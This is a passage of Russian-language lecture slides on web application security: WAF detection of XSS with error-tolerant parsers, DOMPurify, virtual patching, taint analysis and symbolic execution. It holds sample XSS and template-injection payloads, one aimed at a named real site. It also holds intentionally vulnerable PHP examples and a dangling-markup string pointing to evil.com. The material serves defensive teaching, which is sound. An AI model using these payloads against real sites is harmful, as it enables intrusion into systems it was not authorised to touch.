    ЗаголовокПримеры обнаруживаемых векторов http://friendfeed.com/api/feed/public?callback=varWshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
  • 233.
    ЗаголовокТолерантность к ошибкам )},{0:prompt(1 Prompt.mlChallenge Hidden Level 4 function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return '<body onload="think.out.of.the.box(' + input + ')">'; } return '<body onload="think.out.of.the.box()},{0:prompt(1)">'; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"
  • 234.
    ЗаголовокТолерантность к ошибкам nodes= {CallExpression} input = )},{0:prompt(1 Program ExpressionStatement SequenceExpression … ObjectExpressionIdentifier CallExpression name: x
  • 235.
    Заголовок Используем толерантный кошибкам парсер (Acorn loose parser) Это приводит к неизбежному росту числа ложных срабатываний • CallExpression: 123(1+1) Ограничиваются правила толерантности парсера Толерантность к ошибкам А. Перцев, Д. Колегов. Эвристический метод обнаружения DOM-based XSS с использованием толерантных синтаксических анализаторов
  • 236.
  • 237.
    ЗаголовокDOM и DOMParser DOMParser– интерфейс для парсинга и сериализации DOM var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >'; var p = new DOMParser(); var d = p.parseFromString(s, 'text/html'); console.log(d.body.innerHTML); // IE 10 // <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"=""> // FF // <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"=""> // Chrome // <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
  • 238.
    Заголовок "DOMPurify is aDOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG" Адрес проекта https://github.com/cure53/DOMPurify Особенности • Точный механизм • Инструмент для разработчиков • Удаление вредоносного и запрещенного кода из HTML / MathML / SVG • Поддерживает механизм хуков DOMPurify
  • 239.
  • 240.
    ЗаголовокЧто может DOMPurify Предотвращатьатаки XSS (в том числе для jQuery) var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789'; var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']}); clean; //123456789 var dirty = '<img src=x name=createElement><img src=y id=createElement>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x"><img src="y">" var dirty = '<img src="http://evil.com/log.cgi?'; var clean = DOMPurify.sanitize(dirty); clean; // "" Предотвращать атаки DOM Clobbering Предотвращать атаки Dangling Markup Injection
  • 241.
    ЗаголовокDOMPurify для WAF functionisXSS(s) { var isClean = true; DOMPurify.sanitize(s); if (DOMPurify.removed.length > 0)) { return !isClean; } return isClean; } ε, dompurify.removed(x) ≠ 0 x, dompurify.removed(x) = 0 isXSS(x) =
  • 242.
  • 243.
  • 244.
    Заголовок Виртуальный патч –то, что предотвращает использование обнаруженной уязвимости к атаке • SAST • DAST Особенности • Использование механизма правил, а не сигнатур • Возможно использование сложных алгоритмов защиты (CSRF, IDOR) Виртуальный патчинг Ryan Barnett. WAF Virtual Patching Challenge
  • 245.
    Заголовок Знать, как недолжно быть: необходимые и достаточные условия наличия уязвимости Знать, как есть: доказать наличие этих условий в анализируемом коде защищаемого приложения Устранить хотя бы одно из необходимых условий путем изменения исходного кода защищаемого приложения Как сгенерировать патч В. Кочетков. «Автоматическая генерация патчей для уязвимого исходного кода»
  • 246.
    Заголовок Знать, как недолжно быть: необходимые и достаточные условия наличия уязвимости Знать, как есть: доказать наличие этих условий в защищаемом приложении Сделать невозможным выполнение хотя бы одного из необходимых условий путем изменения запросов к защищаемому приложению Как сгенерировать виртуальный патч
  • 247.
    Заголовок • Средствами xASTвыполняется поиск уязвимостей веб-приложения • По найденным уязвимостям создается отчет • Отчет содержит перечень найденных уязвимостей и автоматически сгенерированные эксплойты • По полученным эксплойтам генерируются сигнатуры и итоговые правила виртуальных патчей Метод защиты
  • 248.
    ЗаголовокПример 1: исходныйкод // page.php <?php $name = $_GET["name"]; ?> <html> <body> <div class="user"> <?php echo $name; ?> </div> </body> </html>
  • 249.
    ЗаголовокПример 1: эксплойт //page.php <?php $name = $_GET["name"]; ?> <html> <body> <div class="user"> <?php echo $name; ?> </div> </body> </html> http://example.com/blog/page.php?name=<svg/onload=alert(1)> Эксплоит:
  • 250.
    ЗаголовокПример 1: отчет { "path":"/blog/page.php", "source": "/opt/app/www/blog/page.php", "type": "XSS", "exploit": "rnGET /blog/page.php/id=<svg/onload=alert(1)> HTTP/1.1rnHost: example.comrn", "params": { "param": { "src": "REQUEST_GET_ARGS", "payload": "<svg/onload=alert(1)>", "name": "id", "dependencies": {"dependency": [ "%3C", "%3E" ]} }}}
  • 251.
    ЗаголовокПример 1: правило { "and":[ { "REQUEST_PATH": "/blog/page.php" }, { "REQUEST_GET_ARGS:id": { "regex": "[<>]" } } ] }
  • 252.
    ЗаголовокПример 2: исходныйкод // page.php <html> <body> <?php $name = $_GET["name"]; $type = $_GET["type"]; $decoded_name = base64_decode($name); if (!$decoded_name) { echo "Error during ".$type." processing."; } else { … } ?> </body> </html>
  • 253.
    ЗаголовокПример 2: эксплойт http://example.com/blog/page.php?type=<svg/onload=alert(1)>&name=$1 Эксплоит: //page.php <html> <body> <?php $name = $_GET["name"]; $type = $_GET["type"]; $decoded_name = ads_decode($name); if (!$decoded_name) { echo "Error during ".$type." processing."; } else { … } ?> </body> </html>
  • 254.
    Заголовок • Виртуальный патчингздесь неэффективен • Из-за неизвестного преобразования нет возможности сообщить WAF информацию о том, какие значения должны принимать оба параметра запроса для атаки • Более того, из-за неизвестного преобразования не сработают и все другие подходы Метод защиты
  • 255.
  • 256.
  • 257.
    Заголовок def analyze(code, data): ifnot vulnerable(code, data): # given configuration is secure else: # given configuration is vulnerable Анализатор кода (пример 1/6)
  • 258.
    Заголовок def analyze(code, data): ifnot vulnerable(code, data): # given configuration is secure vulnerable_function_call() else: # given configuration is vulnerable Анализатор кода (пример 2/6)
  • 259.
    Заголовок analyzer_code = """ def analyze(code,data): if not vulnerable(code, data): # given configuration is secure vulnerable_function_call() else: # given configuration is vulnerable """ Анализатор кода (пример 3/6)
  • 260.
    Заголовок analyzer_code = """ def analyze(code,data): if not vulnerable(code, data): # given configuration is secure vulnerable_function_call() else: # given configuration is vulnerable """ eval(analyzer_code) Анализатор кода (пример 4/6)
  • 261.
    Заголовок analyzer_code = """ def analyze(code,data): if not vulnerable(code, data): # given configuration is secure vulnerable_function_call() else: # given configuration is vulnerable """ eval(analyzer_code) analyze(analyzer_code, analyzer_code) Анализатор кода (пример 5/6)
  • 262.
    Заголовок analyzer_code = """ def analyze(code,data): if not vulnerable(code, data): # given configuration is secure vulnerable_function_call() else: # given configuration is vulnerable """ eval(analyzer_code) analyze(analyzer_code, analyzer_code) ¯_(ツ)_/¯ Анализатор кода (пример 6/6)
  • 263.
    Заголовок n = …# n∈ℕ def analyze(code, data): while n: sleep(n) n -= 1 if not vulnerable(code, data): # given configuration is secure vulnerable_function_call() else: # given configuration is vulnerable И сколько таких «частных» случаев теперь возможно? Частный случай?
  • 264.
    Заголовок Не существует универсальногоанализатора защищённости Теорема Райса (применительно к AppSec)
  • 265.
    Заголовок Проблема анализа защищённостирешаема для программ: • эквивалентных конечным автоматам (за PTIME) • сводимых к конечным автоматам за счёт накладывания ограничений на размеры доступной памяти, размерность переменных, количество итераций циклов и т. п. (за EXPTIME) Все существующие анализаторы используют подходы, основанные на аппроксимации модели исследуемого кода Любой статанализатор легко «обламывается» не более чем 3 строчками кода Статанализаторы – индустрия обмана?
  • 266.
    Заголовок Интерпретация кода врамках семантической модели, отличающейся от модели формального языка. Основной инструмент аппроксимации кода Абстрактная интерпретация
  • 267.
    Заголовок Построим свою собственнуюарифметику со знаком и формулами: (+a) = (+) (-a) = (-) (-a) * (+b) = (-) (-a) / (+b) = (-) (-a) + (+b) = a ≤ b ⇒ (+), a > b ⇒ (-) И применим её: -42 / 8 * 100500 + x = x ≥ -527625 ⇒ (+), x < -527625 ⇒ (-) Абстрактная интерпретация на пальцах
  • 268.
    Заголовок Применяется для доказательствафакта зависимости потоков данных различных типов Частный случай – доказательство зависимости выходных данных от входных aka taint-анализ Анализ зависимостей кода
  • 269.
    ЗаголовокTaint-анализ (1/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 270.
    ЗаголовокTaint-анализ (2/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 271.
    ЗаголовокTaint-анализ (3/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 272.
    ЗаголовокTaint-анализ (4/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 273.
    ЗаголовокTaint-анализ (5/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 274.
    ЗаголовокTaint-анализ (6/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 275.
    ЗаголовокTaint-анализ (7/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 276.
    ЗаголовокTaint-анализ (8/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 277.
    ЗаголовокTaint-анализ (9/9) var name= Request.Params["name"]; var key1 = Request.Params["key1"]; var parm = Request.Params["parm"]; var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm); string str1; if (name + "in" == "admin") { if (key1 == "validkey") { str1 = Encoding.UTF8.GetString(data); } else { str1 = "Wrong key!"; } Response.Write(str1); }
  • 278.
    Заголовок • Невозможно автоматизироватьверификацию результатов • Не учитываются условия достижимости опасной операции • Семантика трансформирующих операций определяется исключительно базой знаний • Подход применим только к классам уязвимостей к атакам, основанным на передаче в опасную операцию конкретных значений аргументов Недостатки taint-анализа
  • 279.
    Заголовок • Символическое выполнение– абстрактная интерпретация кода в рамках семантической модели потоков вычисления Roberto Baldoni, Emilio Coppa, Daniele Cono D'Elia, Camil Demetrescu, Irene Finocchi, «A Survey of Symbolic Execution Techniques» (https://arxiv.org/abs/1610.00502) • Конкретное выполнение – выполнение отдельных фрагментов кода в заданном контексте Символическое и конкретное выполнение
  • 280.
    Заголовок 2x^2 + 4= 12 2x^2 = 12 - 4 2x^2 = 12 - 4 x^2 = (12 - 4) / 2 x = sqrt((12 - 4) / 2) x = sqrt((8) / 2) x = sqrt(4) x = 2 Символическое и конкретное выполнение (пример)
  • 281.
    Заголовок Множество, генерирующая /распознающая функция которого определяется истинностью заданных предикатов Например: {x ≥ -527625 ⇒ (+), x < -527625 ⇒ (-)} Опциональное множество
  • 282.
    Заголовок Сущность абстрактной интерпретации,включающая: • область видимости переменных (условные множества их достижимых значений) • условие достижимости • ссылку на вышележащий контекст • стратегию взаимодействия с областями видимости вышележащих контекстов Контексты символического выполнения
  • 283.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (1/8) {}
  • 284.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (2/8) true ⇒ { true ⇒ z, }
  • 285.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (3/8) true ⇒ { true ⇒ z, true ⇒ a = 10 }
  • 286.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (4/8) z > 5 ⇒ { true ⇒ z, z > 5 ⇒ a = z - 5 }
  • 287.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (5/8) z ≤ 5 ⇒ { true ⇒ z, z ≤ 5 ⇒ a = z + 5 }
  • 288.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (6/8) true ⇒ { true ⇒ z, z > 5 ⇒ a = z - 5 z ≤ 5 ⇒ a = z + 5 }
  • 289.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (7/8) true ⇒ { true ⇒ z, z > 5 ⇒ a = z - 5 z ≤ 5 ⇒ a = z + 5 }
  • 290.
    Заголовок int main(int z){ int a = 10; if (z > 5) { a = z - 5; } else { a = z + 5; } return a; } Контексты (8/8) true ⇒ { true ⇒ z, z > 5 ⇒ a = z - 5 z ≤ 5 ⇒ a = z + 5 }
  • 291.
    Заголовок • Глобальные • Глобальный •Типовой • Экземплярный • Локальные • Функциональный • Операторный • Условный • Циклический Типы контекстов
  • 292.
    Заголовок Кондиционал – опциональноемножество всех возможных значений переменной Кондиционализация – замена неизвестных переменных в формуле их кондиционалами: true ⇒ { return a true ⇒ z, z > 5 ⇒ a = z - 5 z ≤ 5 ⇒ a = z + 5 } return true ⇒ { true ⇒ z, z > 5 ⇒ z – 5, z ≤ 5 ⇒ z + 5 } Кондиционализация
  • 293.
    Заголовок Разложение формулы, содержащейкондиционалы, на N формул, не содержащих кондиционалы с аггрегированием условий для каждой из них: return true ⇒ { true ⇒ z, z > 5 ⇒ z – 5, z ≤ 5 ⇒ z + 5 } return z > 5 ⇒ { z – 5 } return z ≤ 5 ⇒ { z + 5 } Опционализация
  • 294.
    Заголовок Marek Trtík, PHDThesis: «Symbolic Execution and Program Loops» (https://is.muni.cz/th/329313/fi_d/trtik_phdThesis.pdf) Циклы / рекурсия?
  • 295.
    Заголовок Учебный проект среализацией абстрактного интерпретатора подможества языка C (http://jamesvanboxtel.com/projects/minic- compiler/minic.pdf) https://github.com/PositiveTechnologies/mantaray Mantaray
  • 296.
    Заголовок • Single-pass режиминтерпретации • Межпроцедурный анализ с поддержкой глобального состояния • Упрощение формул достижимости SMT-солвером • Технический долг: • циклы • указатели • детектирование NPD и инъекций Mantaray: особенности
  • 297.
  • 298.
  • 299.
    ЗаголовокCopyrights В презентации использованыследующие материалы: В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума? Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript. А. Петухов. Обзор ограничений современных технологий в области ИБ. I. Markovic. HTTP Parameter Contamination. I. Ristic. Protocol-Level Evasaion of Web Application Firewalls. Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications. D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them
  • 300.